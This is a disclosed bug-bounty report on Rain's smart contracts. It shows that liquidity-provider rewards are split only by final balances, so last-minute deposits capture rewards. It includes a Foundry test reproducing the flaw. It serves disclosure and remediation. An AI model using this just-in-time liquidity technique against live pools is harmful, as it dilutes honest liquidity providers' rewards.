Status DataClose notification

Rain Disclosed Report

Liquidity Reward Not Time-Weighted Enables Last-Minute LP Capture

Company
Created date
hidden

Target

https://github.com/hackenproof-public/rain-contracts

Vulnerability Details

Summary

Liquidity providers are rewarded only once at pool close via a single liquidityShare pot, split proportionally to each LP’s final userLiquidity / totalLiquidity. There is no time weighting. An LP who adds liquidity right before closePool() receives the same proportional reward as an LP who provided the same amount from the start, without bearing market risk. Combined with other gating bugs (e.g., end-inclusive saleIsLive), this enables “just-in-time” liquidity capture.

Affected Code

  • closePool(): computes a fixed pot
    • liquidityShare = (allFunds * liquidityFee) / FEE_MAGNIFICATION; (src/RainPool.sol)
  • claim(): splits the pot by final balances
    • liquidityReward = (liquidityShare * userLiquidity[msg.sender]) / totalLiquidity; (src/RainPool.sol)
  • No time weighting or vesting mechanism; userLiquidity only increases on adds and never decays with time.

Related issues increasing exploitability:

  • RAINCAPV-560: saleIsLive allows post-close entry in the same block as closePool() (end-inclusive, ignores poolFinalized).
  • RAINCAPV-555: Missing slippage/deadlines; LPs cannot bound allocation risk on basket adds.

Impact

  • Last-minute LPs can capture a proportional share of the liquidity pot without bearing earlier price risk and with minimal capital lock time.
  • Early LPs are diluted at close and receive no incremental compensation for longer participation.
  • Economic incentives skew toward waiting until just before the end to provide liquidity, reducing depth during most of the sale.

Validation steps

How to Reproduce

  1. LP1 enters at start with amount A. Let some trading occur.
  2. Just before end (or in the same block as closePool() via RAIN-010), LP2 enters with the same amount A.
  3. At claim(), both LPs receive approximately the same liquidity reward: ~liquidityShare * A / (A + A).

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/Test.sol";
import {RainFactory} from "src/RainFactory.sol";
import {RainDeployer, IRainDeployer} from "src/RainDeployer.sol";
import {RainPool} from "src/RainPool.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20Mock} from "src/mocks/ERC20Mock.sol";

contract Rain025_LiquidityNotTimeWeightedTest is Test {
    function test_EqualLiquidity_EarlyVsLate_SameReward() public {
        RainFactory factory = new RainFactory();
        address owner = makeAddr("owner");
        address resolverAI = makeAddr("resolverAI");
        ERC20Mock base = ERC20Mock(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
        deal(address(base), address(this), 1e15);
        RainDeployer impl = new RainDeployer();
        bytes memory init = abi.encodeWithSelector(
            RainDeployer.initialize.selector,
            address(factory), address(this), address(base), owner, resolverAI,
            address(0x25118290e6A5f4139381D072181157035864099d),
            address(0xE592427A0AEce92De3Edee1F18E0157C05861564),
            6, 12, 25, 15 * 1e6, 12, 1
        );
        RainDeployer dep = RainDeployer(address(new ERC1967Proxy(address(impl), init)));
        uint256[] memory w = new uint256[](2); w[0]=50; w[1]=50;
        IRainDeployer.Params memory p = IRainDeployer.Params({
            isPublic: true, resolverIsAI: true, poolOwner: owner,
            startTime: block.timestamp + 1, endTime: block.timestamp + 100,
            numberOfOptions: 2, oracleEndTime: block.timestamp + 200,
            ipfsUri: "ipfs://tw", initialLiquidity: 10_000_000,
            liquidityPercentages: w, poolResolver: owner
        });
        base.approve(address(dep), p.initialLiquidity + dep.oracleFixedFee());
        RainPool pool = RainPool(dep.createPool(p));

        vm.warp(p.startTime + 2);
        address lp1 = makeAddr("lp1");
        address lp2 = makeAddr("lp2");
        deal(address(base), lp1, 10_000_000);
        deal(address(base), lp2, 10_000_000);
        vm.startPrank(lp1); base.approve(address(pool), type(uint256).max); pool.enterLiquidity(10_000_000); vm.stopPrank();
        // Let time pass; lp2 enters late with same amount
        vm.warp(p.endTime - 1);
        vm.startPrank(lp2); base.approve(address(pool), type(uint256).max); pool.enterLiquidity(10_000_000); vm.stopPrank();

        // Close and set winner
        vm.warp(p.endTime + 1);
        pool.closePool();
        vm.prank(resolverAI);
        pool.chooseWinner(1);
        // Wait out dispute window (60 min)
        vm.warp(block.timestamp + 60 minutes + 1);

        // Liquidity rewards should be proportional to final balances -> equal for lp1 and lp2
        uint256 liqShare = pool.liquidityShare();
        uint256 totalLiq = pool.totalLiquidity();
        uint256 r1 = (liqShare * pool.userLiquidity(lp1)) / totalLiq;
        uint256 r2 = (liqShare * pool.userLiquidity(lp2)) / totalLiq;
        assertEq(r1, r2, "liquidity rewards differ; expected equal without time weighting");
    }
}

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
State
hidden
Severity
High
Bounty$126
Visibilitypartially
VulnerabilityBlockchain
Participants
hidden